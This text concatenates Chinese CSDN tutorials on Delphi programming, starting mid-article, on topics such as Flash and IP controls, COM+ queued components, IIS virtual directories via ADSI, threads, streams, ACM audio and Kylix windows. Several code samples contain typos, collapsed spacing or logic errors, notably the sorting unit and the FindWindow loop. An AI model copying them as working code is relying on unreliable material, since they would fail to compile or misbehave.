procedure TForm1.Button3Click(Sender: TObject);
begin
ShockwaveFlash1.StopPlay;
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
ShockwaveFlash1.FreeOnRelease;
close;
end;
你可以得到打开的flash图像的总帧数，在panel1上添加一个label，在form1的
OnClick事件中写下如下代码

procedure TForm1.FormCreate(Sender: TObject);
begin
label1.caption:=shockwaveflash.totalframes;
end;

你还可以控制该打开的flash图像从那一帧开始播放，
在panel1上添加一个button和一个Edit控件，

在该button的OnClick事件中添加如下代码。
if ShockwaveFlash1.playing then
ShockwaveFlash1.GotoFrame(SpinEdit1.Value);
ShockwaveFlash1.Play;
在edit中填上你想跳到的帧，并单击该button,你即可实现该功能。
怎么样，试试吧，效果还不错吧。


CSDN_文档中心_在Delphi中使用IP控件

在Delphi中使用IP控件

西安交通大学
刘明华

----- 在网络程序中，我们常常碰到需要用户输入IP地址的情况。然而Delphi并没有为我们提供可以用于输入IP串的控件，于是我们只好用Tedit控件（单行文本框）来接受用户输入的IP串。但是，使用Tedit来输入IP串并不是一个好的主意，因为处理起来非常不方便。事实上，在我们的身旁有一个专门用来输入IP串的Windows控件，该控件如图所示。IP控件会拒绝非法的IP串（在每个部分只能输入0..255之间的数字）；它让你可以轻松地获取控件中的IP串所对应的IP值（32位整数），这省去了IP串和IP值之间相互转换的麻烦；此外，你还能限制IP控件中所能输入的IP的范围。在本文中，我将向大家介绍如何在我们的Delphi程序中使用Windows的IP控件。

---- Windows中有两个非常重要的动态联结库：commctrl.dll和comctl32.dll，它们是Windows的自定义控制库（Windows Common Controls）。自定义控制库中包含了许多常用的Windows控件，如Statusbar，Coolbar，HotKey等；在Delphi中，这些控件大多数都已被包装成可视化控件了。在Microsoft推出Internet Explorer 3之后，自定义控制库中新增了一些控件，其中就包括Windows的IP控件（IP Address edit control）。

---- 初始化Windows自定义控制库

---- Windows提供了两个API函数，InitCommonControls和InitCommonControlsEx，用来初始化自定义控制库。从名字我们不难看出这两个API函数的关系：后者是前者的增强。如果你希望在程序中使用IP控件，你必须用InitCommonControlsEx来完成对自定义控制库以及类的初始化。函数InitCommonControlsEx的原型如下（Pascal语法）：

---- ... ...

---- 创建IP控件

---- ... ...

---- 使用IP控件。 在程序中，我们通过向IP控件发送消息来与它通讯。IP控件可以响应的消息有以下6个，这些消息及它们的含义，见下表：

---- ... ...

---- 若想要获取IP控件中IP串所对应的IP值，你应该向IP控件发送IPM_GETADDRESS消息，并且需要把一个32位整数的地址作为SendMessage的最后一个参数。

---- ... ...

---- IP控件的通知消息

---- 当IP串被改动后或者输入焦点发生了转移，IP控件就会向它的父窗口发送通知消息IPN_FIELDCHANGED。在大多数情况下，我们都可以忽略此通知消息。以下是处理通知消息IPN_FIELDCHANGED的一个示例：

procedure Tform1.WndProc(var Msg: TMessage);
var p:PNMHDR;
begin
inherited;

if Msg.Msg=WM_NOTIFY
then begin
     p:=Pointer(Msg.lParam);
     if p^.code=IPN_FIELDCHANGED
     then begin
    {…
    处理IP控件的IPN_FIELDCHANGED通知消息
    …}
     end;

end;
end;


CSDN_文档中心_在Delphi中使用Queued 组件

在Delphi中使用Queued Components

队列组件（Queued Components）是一项基于微软消息队列服务（Microsoft Message Queuing Services）的ＣＯＭ＋技术。它提供了一种简易的异步引用和执行组件的方法。发送方和接收方都不心考虑对方现在是否可用和能否获得而独立运行。

作为一项ＣＯＭ技术。队列指的是用于存储消息以便将来检索的空间。队列提供了一种非连接性的通讯机制（即发送方和接怍方之间并不是直接相连结，而是通过队列进行相互通讯）。队列负责存储信息直到接收方准备好为止。由于发送方和接收方之间不是直接通讯的，所以可以相互之间独立地运行，而不会影响到双方。

下面举例说明如何使用Delphi创建和使用队列组件。

首先，我们将创建一个服务器。接口中的所有方法必须仅使用IN参数，不能有返回值。这是由于客户端和服务器之间并没有直接的连结。因为不能确切地知道请求什么时候会被执行，所以客户端不能一直等待从服务器获得应答。

在Delphi中，首先打开file/new/other/activeX,创建一个ActiveX Library,然后，加入一个automation对象。为你的服务器对象取一个名称，比如QdComponent,其他的选项都使用默认值，单击OK.这时你将会看到Type Library Editor,添加一个方法，命名为Task1,为这个方法添加一个参数，命名为TaskMessage,设定其类型为BSTR(即Delphi中的WideString类型)。如果Type Library Options设置为show Pascal code,那么你的方法声明代码应与以下代码类似：

procedure task1(TaskMessage:widestring) [dispid $00000001];safecall;

保存项目文件为MyQdServer,单元文件为QdServer.

具体代码如下：

unit QdServer;

{$WARN SYMBOL_PLATFORM OFF}

interface

uses comobj,ActiveX,MyQdServer_TLB,stdvcl,Dialogs;

type

TqdComponent=class(TautoObject,IQdComponent)

Protected

Procedure Task1(const TaskMessage:widestring);safecall;

End;

Implemention

Uses comServ;

Procedure TqdComponent.Task1(const TaskMessag:widestring);

Begin

Showmessage(TaskMessage);

End;

Initialization

TautoObjectFactory.Create(ComServer,TqdComponent,class_QdComponent

CiMultiInstance,tmApartment);

End.

安装服务器

在控制面板中打开组件服务工具（Component Services Tool），在文件树中找到”COM+ Application”,然后右击，选择New/Application接着选择“Create an empty applcation”根据提示找到你的新程序，右击它，转到属性页，找到Queuing栏，选择复选框中的两项１．Queued 2.Listen.Listen表示任何被压入队列的消息，当它被击活时，将马上被处理。在你的新程序下右击“components”选择New/Component,选择“install new component(s)”,根据提示，找到并安装你的DLL文件，然后展开文件树找到“interface”,右击IqdComponent,打开属性页，在Queuing栏中选上”Queued”(如果看到出错提示信息“MSMQ IS NOT RUNNING”)那么很可能你没有安装MSMQ，因为MSMQ不是默认的WINDOWS 2000的安装选项。

创建客户端

创建一个新的Delphi应用程序，在uses子句中加入MyQdServer_tlb.pas单元文件，添加一个按钮和一个文本框。

你需要在程序运行时创建你的对象，所以使用一个符号变量来标记组件的信息，这个参数在FormShow事件处理函数中声明和使用。

具体代码如下：

unit unit1;

interface

uses

Windows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,

Dialogs,StdCtrls,Comobj,ActiveX,MyQdSever_TLB,

Type

Tform1=class(TForm)

Edit1;Tedit;

Button1:Tbutton;

Procedure Button1Click(sender:Tobject);

Procedure FormShow(sender:TObject);

Private

Qinterface:IqdComponent;

Public

{Public declarations}

end;

var

form1:Tform1;

implemention

{$R*.dfm}

Function NewCoGetObject(pazName:PwideChar;pBindOptions:PbindOpts;

Const iid:TIID;out ppv):Hresult;stdcall;external ‘ole32.dll’ name‘CoGetOject’

Procedure Tform1.Button1Click(sender:TObject);

Begin

Qinterface.task1(edit1.text);

End;

Procedure Tform1.FormShow(sender:Tobject);

Var

Qmoniker:PwideChar;

Begin

Qmoniker:=’Queue:/new{服务器的GUID或Server.interfaceName}’;

Olecheck(NewCoGetObject(Qmoniker,nil,IqdComponent,Qinterface));

End;

End.

运行客户端程序，然后传送一条消息，由于此时你并没有启动服务器，所以这时并不能显示出来这条消息，需要启动服务器，而最简单的方法就是打开控制面板中的组件服务（Component Services），找到你的服务器，右击选择启动。

#这是我的第一份翻译作品，请不吝赐教。


CSDN_文档中心_在Delphi中用ADSI创建IIS的虚拟目录

先引入类型库(Project|Import Type Library)adsiis.dll、iisext.dll和activeds.tlb
新建一个单元，声明
unit ActiveDs;
interface
function ADsGetObject(const PathName: WideString; const GUID: TGUID; out I: IUnknown): HRESULT; stdcall;
implementation
function ADsGetObject; external 'activeds.dll' name 'ADsGetObject';
end.

方法一(参照C++)、
var
I: IADsContainer;
ADs: IADs;
begin
if ADsGetObject('IIS://localhost/w3svc', IID_IADsContainer, IUnknown(I)) = S_Ok then
begin
ADs := IADs(I.GetObject('IIsWebServer', '1'));
ShowMessage(ADs.ADsPath);
if ADs.QueryInterface(IID_IADsContainer, I) = S_OK then
begin
ADs := IADs(I.GetObject('IIsWebVirtualDir', 'Root'));
ShowMessage(ADs.ADsPath);
if ADs.QueryInterface(IID_IADsContainer, I) = S_OK then
begin
ADs := IADs(I.Create('IIsWebVirtualDir', 'DelphiTest'));
ADs.Put('AccessRead', 'True');
ADs.Put('Path', 'c:\Temp');
ADs.SetInfo;
end;
end;
end;
end;

方法二(使用接口)、
procedure TForm3.BitBtn4Click(Sender: TObject);
var
Disp: IDispatch;
begin
Disp := IISNamespace1.GetObject('IIsWebService', 'localhost/w3svc');
Disp := (Disp as IADsContainer).GetObject('IIsWebServer', '1');
Disp := (Disp as IADsContainer).GetObject('IIsWebVirtualDir', 'Root');
Disp := (Disp as IADsContainer).Create('IIsWebVirtualDir', 'DelphiADSITest');
(Disp as IADs).Put('AccessRead', 'True');
(Disp as IADs).Put('Path', 'c:\ADSITest');
(Disp as IADs).SetInfo;
end;

方法三(使用Variant，就是类似VB和ASP的方法)、
procedure TForm2.BitBtn1Click(Sender: TObject);
var
WebSite, WebServer, WebRoot, VDir: Variant;
begin
WebSite := CreateOleObject('IISNamespace');
WebSite := WebSite.GetObject('IIsWebService', 'localhost/w3svc');
WebServer := WebSite.GetObject('IIsWebServer', '1');
WebRoot := WebServer.GetObject('IIsWebVirtualDir', 'Root');
VDir := WebRoot.Create('IIsWebVirtualDir', 'VariantTest');
VDir.AccessRead := True;
VDir.Path := 'C:\Test';
VDir.SetInfo;
end;


CSDN_文档中心_在DELPHI中用线程排序

在数据处理量很大的情况下，如何在数据处理的同时响应用户操作？Windows95/98和WindowsNT作为多线程的多任务操作系统，其调度单元是线程，即线程是系统分配处理器时间资源的基本单元，所以我们可以利用线程实现在处理大批量数据的同时响应用户操作。

    DELPHI作为一个优秀的开发平台，对开发多线程应用程序提供了强有力的支持，即可直接利用32位Windows环境提供的Win32API接口函数CreateThread，也可利用DELPHI中提供的BeginThread函数。在下面例子中，正是使用了DELPHI提供的TThread类。

    一．基本的方法如下：

    1．从Tthread类派生一个新类。(创建TSortThread类)
    2．定义新类的Create方法。
    3．定义新类的Execute方法，并在Execute方法中插入线程运行时执行的代码。
    4．引用类方法创建实例。

    二．例子的详细代码及说明：

    首先，新建一个单元，保存为mysort.pas.在此单元中，我们创建了一个TSortThread类，它从TThread类中继承而来，所以当我们在程序中创建这个类的一个实例时，也就是创建了一个新的线程。

    接着，在该类中定义一个Sort方法，用来对数组进行排序，同时TSortThread类超越了TThread类的构造方法Create和Execute，在execute方法中，调用了对数组进行排序的Sort方法。具体代码如下：

    unitmysort;
    interface
    usesClasses;//TThread类在Classes中被定义。
    type
    PSortArray=TSortArray;
TSortArray=array.[0..MaxIntdivSize
Of(Integer)－1]ofInteger;
    {此处定义了TsortThread类}
    TSortThread=class(TThread)
    Private
    {在TSortThread类中定义了如下几个私有变元}
    FSortArray:PSortArray;
    FSize:Integer;
    FA,FB,FI,FJ:Integer;
    Protected
    {类TSortThread超越了类Tthread的Execute方法}
    procedure Execute;override;
    {类TsortThread添加了一个Sort方法}
    procedure Sort(varA:arrayofInteger);
    public
    {类TSortThread超越了类Tthread的构造方法}
    constructorCreate(varSortArray:arrayofInteger);
    end;
    implementation
    constructorTSortThread.Create(varSortArray:arrayofInteger);
    begin
    FSortArray:=@SortArray;
    FSize:=High(SortArray)－Low(SortArray)＋1;
    FreeOn Terminate:=True;
    inheritedCreate(False);
    end;
    {当线程开始时，Execute方法将被调用。}
    procedure TSortThread.Execu
te;
    begin
    Sort(Slice(FSortArray,FSize));
    end;
    {下面实现了冒泡法排序}
    procedure TSortThread.Sort(varA:arrayofInteger);
    var
    I,J,T:Integer;
    begin
    for I:=High(A)downto Low(A) do
    for J:=Low(A)to High(A)－1 do
    if A[J]>A[J＋1] then
    begin
    T:=A[J];
    A[J]:=A[J＋1];
    A[J＋1]:=T;
    if Terminated then Exit;
    end;
    end;
    end

    最后，在用户应用程序的implementation处加入usesmysort,在执行排序的地方加入TQuickSortthread.Create(SortArray)，其中SortArray为一实际的数组。这样就可以用线程实现排序，在排序过程中，用户不必等到排序结束就可以执行其它操作。这种用多线程实时响应用户操作方法在涉及大量数据处理的应用程序中显得尤为重要。


CSDN_文档中心_在Dephi中使用TStream读写数据的技巧

在Dephi中提供了一个抽象的数据类型TStream来支持对流式数据的操作。这些数据通常来自文件、数据库、内存对象、OLE对象等，TStream提供了统一、简洁的方法来进行数据的读写。在通常情况下，我们并不需要直接使用TStream类，对流式数据的读写封装在VCL控件的方法中。但是如果这些方法无法满足我们的要求，就需要自己手动控制数据的读写。

一、 TStream的常用的方法和属性：
1. function Read(var Buffer; Count: Longint): Longint; virtual; abstract

2. function Write(const Buffer; Count: Longint): Longint; virtual; abstract;

3. function Seek(Offset: Longint; Origin: Word): Longint; virtual; abstract;

4. property Position: Longint;

5. property Size: Longint

Read，Write，Seek都是纯虚函数，提供了数据读写和定位的抽象的方法。Read方法将数据从Stream中读到Buffer缓冲区中，Write则实现相反的操作，返回值表示实际读写数据的大小。Seek提供了在Stream中移动数据指针的方法。参数Origin可以取soFromBeginning，soFromCurrent，soFromEnd 三个值，Offset是偏移量，返回值是当前Stream数据指针的位置。

Position表示了数据指针在Stream中的位置。这个属性是可读写的，它实际上就是通过调用Seek方法实现的，所以实际使用时使用这个属性更为方便一些。Size属性表示当前Stream的大小，对于不同的Stream，有些时候是只读的。

二、 Stream数据的读写。
1. SaveToStream(Stream: TStream ); file://将类中的数据写到Stream的当前位置中

2. LoadFromStream(Stream: TStream); file://从当前位置读入Stream里的数据

实际使用时我们基本上只要使用上面两个函数就可以了。

三、 例子
TStream的继承树图如图1所示(略)，实际使用时比较常用的是TFileStream，TMemoryStream，TblobStream，就以这三种流举一例说明具体用法。

创建一个窗体Form1，放置三个按钮btnRead，btnInvert，btnSave和一个文件打开对话框OpenDialog1以及数据控件DataSource1，Table1，test.

使用Dephi提供的Database Desktop创建一个表test，表里有一个字段域Image，数据库文件名存为test.db。在窗体上放置一个TDatabase控件dbTest，一个TTable控件Table1,一个DataSource控件DataSource1,一个TDBNavigator控件DBNavigator1。将dbTest与刚才Desktop创建的数据库相连，Table1的TableName属性设为test.db，DataSource1的DataSet属性设为Table1，DBNavigator1的DataSource属性设为DataSource1，VisibleButtons属性前四个设为TRUE。此外，将dbtest的Connected设为TRUE，Table1的Active属性设为TRUE，使得数据库一开始就处于打开状态。

事件代码编写如下：

1. btnRead的Click事件，这里演示了TFileStream的用法。

var
  MS: TFileStream;
begin
  if OpenDialog1.Execute then
  begin
MS:=TFileStream.Create
(OpenDialog1.FileName, fmOpenRead);
    Image1.Picture.Bitmap.LoadFromStream(MS);
    MS.Free;
  end;
end;
2. btnInvert的Click事件，这里演示了TMemoryStream的用法。其中使用了Invert函数，这是一个简单的将图象反色的函数（仅对真彩图象有效），它返回一个指向处理过的图象数据块的指针。

var
  M
S: TMemoryStream;
  pImage: pointer;
begin
  MS:=TMemoryStream.create;
  Image1.Picture.Bitmap.SaveToStream(MS);
  MS.Position:=0;
  pImage:=Invert(MS.Memory, MS.size);
file://Memory属性是指向实际内存块的指针
  MS.Write(pImage^,MS.size);
  MS.Position:=0;
file://上一行代码使指针移到了Stream末尾，所以要复位
  Image1.Picture.Bitmap.LoadFromStream(MS);
  FreeMem(pImage);
  MS.Free;
end;

Invert函数如下：
function TForm1.Invert
(pImage: pointer; size: Integer): pointer;
var
  pData, pMem: PChar;
  i: Integer;
begin
  pMem:=AllocMem(size);
  CopyMemory(pMem,pImage,size);
  pData:=pMem+54;
  for i:=0 to size-54-1 do
  begin
    pData^:=Char(not integer(pData^));
    pData:=pData+1;
  end;
  Result:=pMem;
end;
1. btnSave的Click事件，这里演示了TMemoryStream的另一种用法，将Stream中的数据写到数据库中去。

var
  MS: TMemoryStream;
begin
  MS:=TMemoryStream.create;
  Image1.Picture.Bitmap.SaveToStream(MS);
  MS.Position:=0;
  Table1.Append;
file://在数据库中添加一条记录
  TBlobField(Table1.FieldbyName
('image')).LoadFromStream(MS);
  Table1.Post;
file://将所作的更新写入数据库
end;
4. DBNavigator1的Click事件，这里演示了TBlobStream的用法，使用了和写入时不同的方法来读出数据库的图象数据。

var
  MS: TStream;
begin
  with Table1 do
  MS:=CreateBlobStream
(FieldbyName('image'),bmRead);
  Image1.Picture.Bitmap.
LoadFromStream(MS);
  MS.Free;
end;


CSDN_文档中心_在Internet传播声音(二)

成员 | 说明
Pwfx | 一个TWaveFormatEX结构指针用来接收结果（这里我们实际上用的是TACMFormat）。
Cbwfx | 接收结果的缓冲区大小。
CbStruct | 结构大小。

另一个值得一提的成员是fdwStyle, 它包括用来指定格式额外信息的标志。特别是下面这个标志：

ACMFORMATCHOOSE_STYLEF_INITTOWFXSTRUCT

这个标志表明pwfx指向的缓冲区已经包括了一个有效的格式，当acmFormatChoose函数调用后，会显示一个格式选择对话框，有效格式将显示为缺省值。

什么情况下无法转换?

一个原因就是一台机器上有的Codec可能另一台机器上没有。这样导致了你可以读取一个声音格式，但无法生成这个声音格式。Fraunhoffer IIS MP3 Codec就有这个问题。在Windows 9x 和Windows NT下，我们可以生成MP3文件，但在Windows 2000却去掉了这一功能L，结果虽然在Windows2000下我们可以听MP3，当我们无法生成MP3，除非我们交一笔钱，faint。

另一个原因是并非所有的ACM格式可以相互转换。比如,我们无法在下面的格式间转化：

GSM 8位 单声道 > MP3 8位 单声道

虽然无法直接转换，但可以通过中间格式来间接转换，中间格式通常是PCM格式，这是因为绝大多数Codec都支持PCM格式的转换。新的转换途径就变成了:

GSM 8位 单声道 > PCM 8位 单声道 > MP3 8位 单声道

而转换为"MP3 16位 立体声"还需要增加一步，就是把8位 PCM格式转换为16位PCM格式。

ACM的潜在本领

可能从上面的介绍来看ACM的功能很有限，仅仅是能把一个媒体格式转换为另一个媒体格式。不过一想到需要自己写一个可用于Internet的声音流的编码解码器的工作量，比如MP3的压缩函数，你就会发现ACM真的是个好东东，价格便宜量又足J。

同时想像一下有了ACM我们实现一个Internet电话是多么的简单，首先从麦克风获得输入的声音数据，压缩为一个合适的基于低带宽的流格式，然后通过TCP/IP协议传到目的计算机。同时，目的计算机接收压缩的数据，解压缩，最后通过扬声器播放出来。

ACM的潜在本领就在这里，有相当多的ACM codec是可映射为Wave格式的，这就是说它们可以作为标准的波设备来实时的播放或记录音频。而网络电话的最主要的要求之一就是实时性。

比如，我们可以很容易的打开一个GSM的声音输入源，一旦我们从波输入设备接收到数据，数据就已经被压缩好了，可以立即传输。同时，一旦通过TCP/IP Socket接收到了数据，我们马上可以通过波输出设备播放之。

要注意标准的PCM格式数据对于通过Modem实现实时的语音传输来说实在是太大了，而GSM 6.1只要1.5K/秒就可以达到实时的效果，而16位单声道的MP3 也仅仅需要2K/秒的带宽。

另外对于MP3格式来说，它可以作为一个播放格式，但它不适合作为输入格式（因为只有Windows NT平台上的MP3 Codec才支持MP3的编码），通常我们需要用其它程序手工转换生成MP3,所以它不适合应用在网络电话上,不过它是非常适合于网络点播的，因为它的压缩比高，而且音质失真少。

原理就是象上面描述的那样简单，但很多事情总是说起来容易，做起来难。所以，下面实现了几个控件和程序来实际的演示一下。由于代码比较长，这里就不详细列出来了，只简单的说明一下。

控件

l TACMConverter:这个控件有两个作用。第一，它可以在两个不同媒体格式间转化数据。第二，这个控件可以用来指定ACM流的输入输出格式。(用右键调出控件的控件编辑器可以在设计时调用AcmFormatChoose函数显示格式选择对话框来指定格式)。

l TACMIn:用来从麦克风接收数据，我们使用标准的PCM格式或其它波输入设备支持的格式来记录数据。

l TACMOut:这个控件是用来回放声音的。NumBuffers属性可以用来指定开始播放前使用的缓冲区数。这对于实时音频传输意义不大，但对于在Internet上音频广播却是很方便，同时当连接数据波动时可以缓冲额外的音频数据。

演示

第一个例子使用TACMConvertor控件来指定输入输出格式，然后打开一个ACMIn和ACMOut控件 。麦克风输入的数据立刻回放，但有一点延迟，来产生一点回响


CSDN_文档中心_在Internet传播声音

－使用Audio Compression Manager（ACM）

作者／Peter Morris　 翻译／陈省

    在几年以前IP电话被炒的沸沸扬扬，但用过的人都觉得这个技术非常不成熟，语音质量很差，时断时续，还经常有延迟，结果这项技术的应用没有普及开来。但随着Internet应用的越来越广泛以及相关技术发展的日新月异，声音质量不断提高，通过Internet打电话早已不再是梦想，已经成为了我们生活中的一部分。今天我使用IP电话打长途，每分钟只需要3毛钱，使用OICQ的语音聊天，网友仿佛就在你的身边。如果我们的带宽足够的，我们甚至还可以在网上收看Quicktime视频直播，用RealAudio收听电台广播，也可以点播好听的MP3歌曲。不过对于程序员来说，更好的消息是我们对于这些媒体流的编程也也变得越来越容易。为什么这么说呢，下面让我们先来了解一下Codec。

Codecs

    什么是Codecs？其实它就是音频压缩的解码编码器，实际上有点类似ActiveX控件。ActiveX控件使程序员可以调用一些他人实现好的功能而无需从头做起。Codecs提供了类似的功能，只不过它集中在提供如何对媒体格式进行转换的功能。例如，如果想写一个把CD转MP3的应用程序，我们只需要做下列工作：

l 从CD音轨中读取数据。

l 生成一个有效的MP3文件头。

l 调用相应的codec把音轨数据编码为MP3。

Windows本身已经带了很多的codec。下面是其中几个的说明：

名称 | 说明
GSM | 好像用于某些移动电话网络。
DSP TrueSpeech | 可以生成一种一位的声音格式用于语音通话－声音非常清楚。
Fraunhoffer IIS MP3 | 这种可以用来生成MP3格式。
PCM | 用于生成Windows标准声音格式。大多数Codec支持的声音格式都可以和它相互转化。

    当前安装的codec的完整列表可以通过察看控制面板中多媒体的部分来获得。

ACM API

    ACM是"Audio Compression Manager"缩写，翻译过来就是声音压缩管理器。它是微软编写的用于调用Codec功能的接口函数库。它本来应该声明在MMSystem.pas单元中，但是由于某些原因Borland把它给省略了。所以我们要作的第一件事是找到它的API声明单元MSACM.pas。必须要感谢Francois Piette,他共享了他转换的单元文件，我们可以从www.Delphi-Jedi.org下载它。

    使用ACM转换媒体格式包括以下几步:

    l 首先必须指定输入输出格式，我们需要设定TWaveFormatEX记录, 但是这个结构记录太小无法容纳大多数Codec所需要的信息。为了解决这个问题，我们使用一个自定义的 TACMFormat记录，这个记录在TWaveFormatEX的基础上增加了128字节。

    l 打开一个ACM流。首先调用acmStreamOpen函数，把输入输出格式作为参数传递过去。然后ACM或者返回一个有效的句柄或者返回一个错误代码（比如ACMERR_NotPossible）来表明转换的请求无法完成。

    l 接下来要确定输出缓冲区的大小。调用acmStreamSize函数会通知ACM每次我们将生成多少字节的数据，然后函数会返回请求大小的缓冲区(我们总是应该高估一下大小，保证提供一个足够大的缓冲区)。

    l 然后，我们要生成一个转换头。需要调用acmStreamPrepareHeader函数，把先前调用acmStreamOpen函数返回的流句柄作为参数。生成的转换头会告诉ACM源缓冲区和目的缓冲区的地址。ACM不会自动分配内存，我们必须自己来申请内存。

    l 所有的准备工作基本上完成了，只剩下如何转换数据了。这是非常简单的，只需要调用acmStreamConvert函数。AcmStreamConvert函数的参数包括流句柄和转换头句柄。这个函数通过设定转换头中的cbDstLengthUsed表明转换过程中真正被使用的字节数。

    l 一旦完成了ACM的会话，我们必须释放使用的全部资源。转换头用acmStreamUnprepareHeader函数来释放，流用acmStreamClose来关闭。

选择格式

    正如前面提到的，在开始转换以前必须先设定输入输出格式。TWaveFormatEX记录(声明在MMSystem.pas单元中)，它仅仅指定了比特率，频率等等。除非我们只打算在不同的PCM格式间进行转换，否则TWaveFormatEX是不够用的。下面是它的替代格式：

TACMWaveFormat = packed record

     case integer of

       0 : (Format : TWaveFormatEx);

       1 : (RawData : Array[0..128] of byte);

   end;

    这个变体记录使我们仍然可以读取TWaveFormatEX结构数据，同时RawData提供了足够的空间来容纳其它Codec需要的额外信息。

    虽然我们不知道额外信息的大小，但我们可以使用acmFormatChoose函数来获得。

    AcmFormatChoose函数只需要一个TACMFormatChooseA类型的参数。这个参数是一个简单的结构可以包括下列信息：

成员

说明


CSDN_文档中心_在Kylix中模拟Windows API中的FindWindow函数

在Kylix中模拟Windows API中的FindWindow函数

（译者注：因为我还没有用过Kylix，第一次翻译Kylix方面的文章可能会有不少的错误，如果我的翻译对您的阅读增加了困难的话，请参照原文，在此表示深深的歉意。翻译时略有删节）

概要：这篇文章描述了一个非常便利的FindWindow函数。作者：Matthias Thoma。

在XWindow界面函数库XLib中没有类似于Windows API的FindWindow函数。然而，用一个已知的ID得到一个窗口的名字是可能的，而且非常容易。这将用到XFetchName函数，XFetchName原型为：

function XFetchName(Display: PDisplay; W: TWindow;
WindowNameReturn: PPChar): TStatus; cdecl;

比较难的步骤是如何得到每一个窗口的ID。为此，你就需要XLib中的XQueryTree函数，这个函数检索指定的窗口，得到子窗口，根，父窗口和子窗口个数的一个列表。联合这两个函数和一个标准的查找算法，你就得到了一个与Windows的FindWindow具有相同功能的函数了。

函数XQueryTree的原型为：
function XQueryTree(Display: PDisplay; W: TWindow; RootReturn: PWindow;
ParentReturn: PWindow; _para5: PPWindow; NChildrenReturn: PCardinal): TStatus;

The following code shows how to do it. It is a Kylix translation of a public domain source by Brian Paul.
下面的代码演示了怎样完成这一功能。

{ FindWindow 函数

Input: dpy - the X display
scr - the X screen 的数目
start - 在哪儿开始搜索, 通常根窗口
name - 要查找的窗口的弥
}

function FindWindow(Display: PDisplay; Screen: Integer; Start: TWindow; Name: PChar): TWindow;
type
AChildren = array[0..0] of Window;
PChildren = ^AChildren;

var
stat: TStatus;
n: Integer;
num: Cardinal;
w: Window;
root: Window;
parent: Window;
Children: PChildren;
Title: PChar;

begin
if (XFetchName(Display, Start, @Title) = 1) then
begin
if (strcmp(Name, Title )=0) then
begin
XFree(Title);
Result := Start;
Exit;
end;
XFree(Title);
end;

stat := XQueryTree(Display, start, @root, @parent, @children, @num);

if (stat = 1) then
begin
{ search each child window for a match: }
for n := num-1 downto 0 do
begin
if (XFetchName(Display, start, @title )=1) then
begin
if (strcmp(name, title)=0) then
begin
{ found it }
XFree(Title);
Result := Start;
Exit;
end;
XFree(Title);
end;
end;

{ search the descendents of each child for a match: }

for n := num-1 downto 0 do
begin
w := FindWindow(Display, Screen, Children^[n], Name);
if (w <> 0) then
begin
XFree(Children);
Result := w;
Exit;
end;
end;

if (children <> Nil) then
begin
XFree(Children);
end;
end;

Result := 0;
end;

如果Kylix正在运行，你使用这个函数就能找出：

function IsKylixRunning: Boolean;
begin
Result := FindWindow(QtDisplay,XDefaultScreen(QtDisplay),XDefaultRootWindow(QtDisplay),'Kylix') <> 0;
end;

或许你想要一些IFDEF，现在Delphi是跨平台的了：
function IsDelphiRunning: Boolean;
begin
Result := False;

{$IFDEF LINUX}
Result := FindWindow(QtDisplay,XDefaultScreen(QtDisplay),XDefaultRootWindow(QtDisplay),'Kylix') <> 0;
{$ENDIF}

{$IFDEF WIN32}
Result := FindWindow('TAppBuilder', nil) <> 0;
{$ENDIF}
end;


CSDN_文档中心_在RxRichEdit中插入图片的完美解决方法（不使用剪贴板）

例程如下：

设Form1上控件RxRichEdit1和Button1。

InsertBitmapIntoRxRichEdit使用方法请见Button1Click方法。

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, RxRichEd;

type
TForm1 = class(TForm)
Button1: TButton;
RxRichEdit1: TRxRichEdit;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
uses
JPEG;

{$R *.dfm}

function ConvertBitmapToRTF(const Bitmap: TBitmap): string;
var
bi, bb: string;
bis, bbs: Cardinal;
achar: string[2];
Buffer: string;
I: Integer;
type
PWord = ^Word;
begin
GetDIBSizes(Bitmap.Handle, bis, bbs);
SetLength(bi, bis);
SetLength(bb, bbs);
GetDIB(Bitmap.Handle, Bitmap.Palette, PChar(bi)^, PChar(bb)^);
SetLength(Buffer, (Length(bb) + Length(bi)) * 2);
i := 1;
for bis := 1 to Length(bi) do
begin
achar := IntToHex(Integer(bi[bis]), 2);
PWord(@Buffer[i])^ := PWord(@achar[1])^;
inc(i, 2);
end;
for bbs := 1 to Length(bb) do
begin
achar := IntToHex(Integer(bb[bbs]), 2);
PWord(@Buffer[i])^ := PWord(@achar[1])^;
inc(i, 2);
end;
Result := '{\rtf1 {\pict\dibitmap ' + Buffer + ' }}';
end;

procedure InsertBitmapIntoRxRichEdit(const Bitmap: TBitmap; const RxRichEdit:
TRxRichEdit); overload;
begin
RxRichEdit.SelText := ConvertBitmapToRTF(Bitmap);
RxRichEdit.SelLength := 0;
RxRichEdit.SelStart := RxRichEdit.SelStart + 1;
end;

procedure InsertBitmapIntoRxRichEdit(const GraphicFileName: string; const
RxRichEdit: TRxRichEdit); overload;
var
Bitmap: TBitmap;

Graphic: TPicture;
begin
Graphic := TPicture.Create;
try
Graphic.LoadFromFile(GraphicFileName);

if Graphic.Graphic is TBitmap then
Bitmap := Graphic.Bitmap
else
begin
Bitmap := TBitmap.Create;
Bitmap.Assign(Graphic.Graphic);
end;

InsertBitmapIntoRxRichEdit(Bitmap, RxRichEdit);
finally
if Bitmap <> Graphic.Bitmap then
FreeAndNil(Bitmap);

FreeAndNil(Graphic);
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
//InsertBitmapIntoRxRichEdit('C:\Temp\Untitled.bmp', RxRichEdit1);
InsertBitmapIntoRxRichEdit('C:\Temp\Untitled-8.jpg', RxRichEdit1);
RxRichEdit1.SetFocus;
end;
end.


CSDN_文档中心_在stringgrid控件中使文字内容在cell中做到上下居中

在stringgrid控件中使文字内容在cell中做到上下居中
Seaspide 2001.4.19

经多次实践，偶终于找到了解决使文字内容在每个cell单元中上下居中的办法：
就是利用画板的draw方法，通过“画”出文字解决了这个问题。哈，不算是旁门左道吧~
实现非常简单：

设一全句变量： var Iscentre:boolean;

在需要上下居中显示文字内容时，用语句：
cells[x,y]:=''， 并置Iscentre为真；
（注意：一定要赋空值！！ 原因见下） ~~~~~x,y为局部变量

给Form1上的stringgrid控件添加OnDrawCell事件，过程代码：
procedure TForm1.StringGrid1DrawCell(Sender: TObject; ACol, ARow: Integer;
Rect: TRect; State: TGridDrawState);
begin
if iscentre then
